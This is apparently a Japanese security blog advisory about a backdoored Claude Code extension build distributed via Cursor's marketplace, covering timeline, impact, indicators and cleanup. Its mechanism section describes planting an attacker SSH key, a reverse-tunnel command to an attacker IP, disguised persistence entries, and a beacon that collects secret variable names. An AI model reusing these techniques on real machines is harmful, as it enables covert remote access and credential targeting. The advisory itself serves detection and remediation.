aighten
← ブログに戻る

Cursor版Claude Code拡張機能にSSHバックドア:影響の確認と対処法

Claude CodeClaude Code 拡張機能 バックドアCursor マーケットプレイス 侵害svc-telemetry SSH鍵Claude Code 2.1.313+1 more
Cursor版Claude Code拡張機能にSSHバックドア:影響の確認と対処法

2026年10月29日、Cursorの拡張機能マーケットプレイスで、AnthropicのClaude Code拡張機能の改ざん版が配布されました。この改ざん版は、開発者のマシンに永続的なSSHバックドアを仕込もうとするものでした。Cursorによると、改ざん版が公開されていたのは約11時間で、影響を受けたユーザーは最大5,000人です。macOSまたはWindowsでCursorを使っていて、当日にClaude Code拡張機能をインストールまたは更新した場合は、svc-telemetry という名前のSSH鍵がないか確認してください。拡張機能をアンインストールしても、バックドアは削除されません。

要点

  • Anthropic.claude-code 2.1.312と2.1.313のmacOS版・Windows版の改ざんビルドが、Cursor独自のマーケットプレイスで公開されました。これらはAnthropicがビルドしたものではありません(Cursorのセキュリティ通知)。
  • 公開されていたのは、2026年10月29日の太平洋時間(PT)午前2時27分ごろから午後1時35分ごろまでです。
  • この時間帯にmacOSまたはWindowsで拡張機能をインストール・更新したCursorユーザーが危険にさらされています。Cursorは影響範囲を最大5,000人としています(BleepingComputer)。
  • 現時点の調査では、Visual Studio Marketplace、Open VSX、npmでは改ざんビルドは確認されていません(Socket、StepSecurity)。
  • 対処としては、Cursorの確認・駆除スクリプトを実行し、永続化ファイルが消えたことを確認したうえで、そのマシンからアクセスできた認証情報をすべてローテーションし、2.1.314以降をインストールしてください。

何が起きたのか

Claude Code拡張機能の改ざん版は、似せた名前ではなく本物のパブリッシャーID Anthropic.claude-code のまま、Cursorの拡張機能マーケットプレイスに掲載されました。Cursorは「Anthropic社のClaude Code拡張機能を悪意をもって改変したバージョンが公開されていた」とし、それが「永続的なSSHバックドアのインストールを試みる悪意あるコードを実行する」と説明しています(Cursor)。

最初の詳細な分析を10月30日に公開したのは、macOSセキュリティ企業のPhorionです(Phorionのアドバイザリ)。この件は同日、Hacker Newsのトップに上がりました。初期の報道ではOpen VSX(多くのVS Code互換エディタが使うオープンな拡張機能レジストリ)、npm、Microsoftのマーケットプレイスが原因とされていましたが、その後の調査で、配布経路はCursorのマーケットプレイスだけだったと判明しています。SocketがOpen VSXの変更フィードを確認したところ、2.1.312と2.1.314のイベントはあったものの、2.1.313のイベントは見つかりませんでした(Socket)。

Cursorは当初、2.1.313のみを影響バージョンとしていました。その後、10月30日の太平洋時間午前11時30分に通知を更新し、Windows版とmacOS版の2.1.312および2.1.313 を影響バージョンとして明記しました。あわせて、改ざんされた各パッケージのファイルハッシュも個別に公開しています。Open VSXとnpmにある2.1.312は、改ざんされていない正規のビルドです。改ざんされたのは、Cursorのマーケットプレイス上のものだけでした。

攻撃者がどのようにしてCursorのマーケットプレイスへの公開権限を得たのかは、まだ公表されていません。AnthropicのFelix Rieseberg氏は「これはAnthropicのシステムや従業員のノートPCが侵害されたものではない」と述べています(StepSecurityによる引用)。Anthropicは混乱を避けるため、公式リリースでは2.1.313を飛ばし、2.1.314をリリースしました。

時系列

日時(2026年)出来事出典
10月27日 20:26 UTC正規の2.1.312がOpen VSXで公開StepSecurity
10月29日 午前2時27分ごろ(PT)改ざんビルドがCursorのマーケットプレイスで公開されるCursor
10月29日 午後1時35分ごろ(PT)Cursorが改ざんビルドを削除し、マーケットプレイスを停止Cursor
10月30日 00:12 UTC正規の2.1.314がnpmで公開Socket
10月30日Phorionがアドバイザリを公開。Cursorが鍵をローテーションし、マーケットプレイスを再構築して攻撃者のサーバーを停止Phorion、Cursor
10月30日 午前11時30分(PT)Cursorが影響バージョンに2.1.312を追加し、IOCを更新Cursor

Claude Code拡張機能バックドアの仕組み

攻撃者は、圧縮された extension.js の先頭に小さなローダーを挿入しました。拡張機能のそれ以外の部分には手を加えていないため、Claude Code自体は普段どおり動作していました。StepSecurityの計測では、このファイルのサイズは3,692,922バイトで、正規の2.1.312より約7KB大きくなっていました(StepSecurity)。

このローダーは、エディタが拡張機能を読み込んだ時点で、通常の activate 関数より前に実行されます。Claude Codeを開いたり、プロンプトを入力したりする必要はありませんでした。PhorionのCEOであるCalum Hall氏はHelp Net Securityに対し、「ペイロードが発動するのに、ユーザーが拡張機能を操作する必要はない」と語っています(Help Net Security)。

Claude Code拡張機能バックドアの5段階の流れ:改ざん版拡張機能の読み込み、SSH鍵の設置、リバーストンネル、永続化、ビーコン送信
改ざんビルドの動作を簡略化した流れ:拡張機能が読み込まれ、攻撃者のSSH鍵が設置され、リバースSSHトンネルが開き、永続化が仕込まれ、偵察用のビーコンが送信されます。AI-generated illustration / AightenAI-generated

Phorionの分析によると、ペイロードは次の4段階で動作しました。

  1. 鍵を設置する。攻撃者が管理するEd25519公開鍵を、svc-telemetry というコメント付きで ~/.ssh/authorized_keys に追記します。そのうえで、ローカルのSSHサーバーを有効にしようとします。
  2. リバーストンネルを開く。ssh -N -R '*:0:localhost:22' を使い、ユーザー tunnel として 134.209.82.225 のポート22へ外向きに接続します。これにより、あなたのマシンのSSHポートが攻撃者のサーバー側に公開され、攻撃者はそこから設置済みの鍵でログインできるようになります。
  3. 居座り続ける。macOSでは、Appleのシステムサービスに見せかけた名前の ~/Library/LaunchAgents/com.apple.sysmond.plist を書き込みます。Windowsでは SysMon という名前のタスクスケジューラのタスクを作成し、予備としてスタートアップフォルダに sysmon.cmd ファイルを置きます。Linuxでは @reboot のcronエントリを追加します。さらに、バックグラウンドのループが60秒ごとにトンネルの再接続を試みます。
  4. 情報を送信する。134.209.82.225:8099/beacon に、暗号化されていないHTTPでJSON形式のビーコンを1回送信します。ビーコンには、ホスト名、ユーザー名、OS、ホームディレクトリと作業ディレクトリ、Gitのグローバルなメールアドレス、パブリックIPが含まれていました。また、KEY、TOKEN、SECRET、PASS、AWS、GCPに一致する環境変数を最大40個まで、値ではなく名前だけ列挙していました。

被害を抑えたバグ

このペイロードにはいくつかのバグがありました。macOSでは、root権限なしで systemsetup -getremotelogin を実行してリモートログインの状態を確認していました。このコマンドは「Off」ではなくエラーを返すため、コードがSSHを有効にしようとすることはありませんでした。Windowsでは、PowerShellによるセットアップを /bin/sh 経由で実行していましたが、通常のWindows環境には /bin/sh がありません(BleepingComputer)。Cursorは、管理者権限がなければバックドアのインストールは「通常は失敗する」としています。

ただし、次のような場合は依然として危険にさらされている可能性があります。

  • Macでリモートログインがもともと有効になっていた場合、攻撃者の鍵とトンネルだけでアクセスが可能でした。Phorionはこのケースについて明確に警告しています。
  • Windowsで管理者権限付きでCursorを実行していた場合、セットアップが成功した可能性があります。
  • ビーコンはどちらの場合でも送信されたため、攻撃者はホスト名、ユーザー名、Gitのメールアドレス、パブリックIP、機密情報を含む環境変数の名前を入手している可能性があります。
  • Linuxでは、cronの処理にバグがあり、既存のユーザーcronジョブが消えてしまう可能性があることをPhorionが確認しています。

影響を受けているかどうか

次の条件をすべて満たす場合、影響を受けている可能性が高いです。

  • Cursorを使っている(VS Code、Windsurf、そのほかOpen VSXから拡張機能を取得するエディタではない)。
  • macOS(Apple Silicon)またはWindows x64で使っている。
  • 2026年10月29日の太平洋時間午前2時27分ごろから午後1時35分ごろまでの間にClaude Code拡張機能をインストールまたは更新し、Cursorのマーケットプレイスから2.1.312または2.1.313を取得した。

npmから入れたClaude Code CLIだけを使っている場合や、VS CodeでMicrosoftのマーケットプレイスまたはOpen VSXから入れた拡張機能を使っている場合は、今回のインシデントの影響を受けていません。拡張機能を一度もインストールしていない場合も同様です。Socketは、npmのバージョン記録に悪意あるバージョンは見つからなかったとしています(Socket)。

簡易チェック

Cursorの通知には、macOS向けの1行のチェックコマンドが記載されています。攻撃者の鍵の有無を調べるものです。

grep -qs svc-telemetry ~/.ssh/authorized_keys && echo "svc-telemetry key found" || echo "No key found; machine not impacted"

Windowsでは、%USERPROFILE%\.ssh\authorized_keys と C:\ProgramData\ssh\administrators_authorized_keys の中に svc-telemetry がないか検索してください。通知には、そのための2行のPowerShellスクリプトが掲載されています。またCursorは、チェックの結果「にかかわらず」駆除手順を実行するよう呼びかけています。

ほかに確認すべき兆候は次のとおりです。

  • anthropic.claude-code-2.1.312-darwin-arm64、...-2.1.313-darwin-arm64、またはそれぞれの win32-x64 版という名前の拡張機能フォルダ
  • ~/.config/.smt、~/.config/.smtk、~/.config/smt.cmd の各ファイルと、一時フォルダ内にある .stk_ に続けて16進数10文字が付いた名前の鍵ファイル
  • 134.209.82.225 に接続している ssh または autossh のプロセス
  • SHA-256が ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15 の extension.js

駆除の手順

拡張機能を削除するだけでは不十分です。永続化のためのファイルは拡張機能フォルダの外にあります。Cursorの通知、Phorion、StepSecurityの情報をもとに、次の順番で対処してください。

  1. チェックで鍵が見つかった場合や、トンネルのプロセスが確認できた場合は、マシンをネットワークから隔離します。
  2. Cursorの駆除スクリプトを実行します。macOSでは remediate-macos.sh を、rootではなく普段のユーザーで実行します。Windowsでは remediate-windows.ps1 を、管理者として起動したPowerShellから実行します。どちらもCursorのセキュリティ通知にリンクがあります。これらのスクリプトは拡張機能、永続化の仕組み、トンネルのプロセス、攻撃者の鍵を削除し、何か残っている場合は0以外の終了コードを返します。
  3. 手作業で確認します。com.apple.sysmond.plist、SysMon タスク、sysmon.cmd、cronエントリ、.smt/.smtk、.stk_* がすべて消えていることを確かめてください。必要がない限り、リモートログインはオフにしておきます。
  4. 拡張機能のバージョン2.1.314以降をインストールします。
  5. そのマシンからアクセスできた認証情報をローテーションします。対象は、Gitホスティングのトークン、CI/CDのシークレット、クラウドの鍵、SSH鍵、パッケージレジストリのトークンです。作業は安全な別の端末から行ってください。まずは、ビーコンで名前を収集された環境変数から着手します。
  6. ログを確認します。SSH、プロセス、ログインの各ログを調べてください。Phorionは、svc-telemetry 鍵を使った 127.0.0.1 からのSSHログイン成功を、トンネルが使われた兆候として挙げています。トンネルが使われていた場合、StepSecurityとMorphisecはマシンの再構築を推奨しています(Morphisec)。

CursorとAnthropicの対応

Cursorのロゴ。改ざんされたClaude Codeビルドを配布してしまった拡張機能マーケットプレイスを運営するAIコードエディタ
Cursorは、VS Codeベースの自社エディタ向けに独自の拡張機能マーケットプレイスを運営しています。Anysphere via Wikimedia CommonsPublic domain

Cursorは改ざん版を削除してそれ以上の配布を止め、「万全を期すため」マーケットプレイス全体を停止しました。その後、アクセス状況を監査し、ほかの拡張機能が改ざんされていないことを確認したうえで、鍵をローテーションし、マーケットプレイスを再構築してから再開しています。また、ホスティング事業者と協力して攻撃者のサーバーを停止させました。Cursorは、このサーバーは「すでに機能していない」としています(Cursor)。Socketによると、Cursorは影響を受けたユーザーに直接連絡を取っています。

Anthropicは、自社のシステムと公式の配布経路は侵害されていないとしています。同社は2.1.314を公開し、公式リリースでは2.1.313を飛ばしました。ただし、2つの疑問がまだ解消されていません。攻撃者がどのようにしてCursorのマーケットプレイスでの公開権限を得たのか、そしてAnthropicの名前で改変されたファイルが公開されたのに、なぜ拡張機能の署名や整合性チェックで阻止できなかったのか、という点です。

AIコーディングツールにとっての意味

AIコーディング向けの拡張機能は、開発者のユーザー権限をそのまま持って動作し、ソースコードや機密情報のすぐそばにあり、しかも自動で更新されます。そのため、攻撃者にとって格好の標的になります。今回、攻撃者がしたことは、本物の拡張機能IDで公開されたパッケージのファイルを1つ書き換えただけでした。Manifold SecurityのAx Sharma氏はHelp Net Securityに対し、「パブリッシャーが本物である以上、パブリッシャー名を確認しても役に立たない」と述べています。

今月はほかにも、LiteLLM 1.107.0のPyPI侵害など、AI開発者向けツールを狙ったサプライチェーン攻撃が続いています。チームとして取れる実践的な対策には、次のようなものがあります。

  • パッケージのバージョンを固定するのと同じように、エディタの拡張機能もバージョンを固定してレビューします。機密性の高いマシンでは、強い権限を持つ拡張機能の自動更新をオフにしてください。
  • 振る舞いを監視してアラートを出します。エディタの補助プロセスが authorized_keys に書き込んだり、com.apple.* という名前のLaunchAgentを作成したりした場合は、警告が出るようにしておきます。
  • 開発者のノートPCでは、長期間有効なシークレットをシェルの環境変数に置かないようにします。変数名だけでも、攻撃者に狙うべきものを教えてしまうためです。
  • 各エディタがどのマーケットプレイスを使っているかを把握しておきます。Cursor、VS Code、Open VSXベースのエディタはそれぞれ別のレジストリから拡張機能を取得しており、どこかでインシデントが起きても、ほかには影響しない場合があります。

Node.jsのサービスにもパッチを当てているなら、今週前半に公開したNode2Shell(CVE-2026-111497)の記事もあわせてご覧ください。

よくある質問

悪意のあるClaude Code拡張機能はどのバージョンですか?

Cursorが挙げているのは、2026年10月29日にCursor独自のマーケットプレイスで配布された、macOS(darwin-arm64)版とWindows(win32-x64)版のAnthropic.claude-code 2.1.312と2.1.313です。Open VSXとnpmにある公式の2.1.312は安全で、修正版は2.1.314です。

VS CodeでClaude Codeを使っています。何か対応が必要ですか?

おそらく必要ありません。Socket、StepSecurity、Cursorによる現時点の調査では、改ざんビルドが配布されたのはCursorのマーケットプレイスだけで、MicrosoftのVisual Studio Marketplace、Open VSX、npmでは配布されていません。念のため確認したい場合は、svc-telemetry 鍵のチェックを実行すれば数秒で済みます。

拡張機能をアンインストールすればバックドアは消えますか?

いいえ。SSH鍵、LaunchAgent、タスクスケジューラのタスク、cronエントリ、補助ファイルは、拡張機能フォルダの外にあります。CursorとPhorionはどちらも、アンインストールだけでは不十分だとしています。Cursorの駆除スクリプトを実行し、そのあと手作業で確認してください。

バックドアにAPIキーを盗まれましたか?

Phorionによると、ビーコンが送信したのは、KEY、TOKEN、SECRETなどのパターンに一致する環境変数最大40個の名前で、値は含まれていません。ただし、リバーストンネルが機能していた場合、攻撃者はログインして、あなたのユーザーアカウントで読めるものは何でも読めた可能性があります。影響を受けていた場合は、認証情報をローテーションしてください。

Anthropicはハッキングされたのですか?

Anthropicは否定しています。Felix Rieseberg氏は、今回のインシデントについて「Anthropicのシステムや従業員のノートPCが侵害されたものではない」と述べています。改ざんビルドが確認されたのはCursorのマーケットプレイスだけです。攻撃者がそこでどのように公開権限を得たのかは、明らかにされていません。

出典

Share this post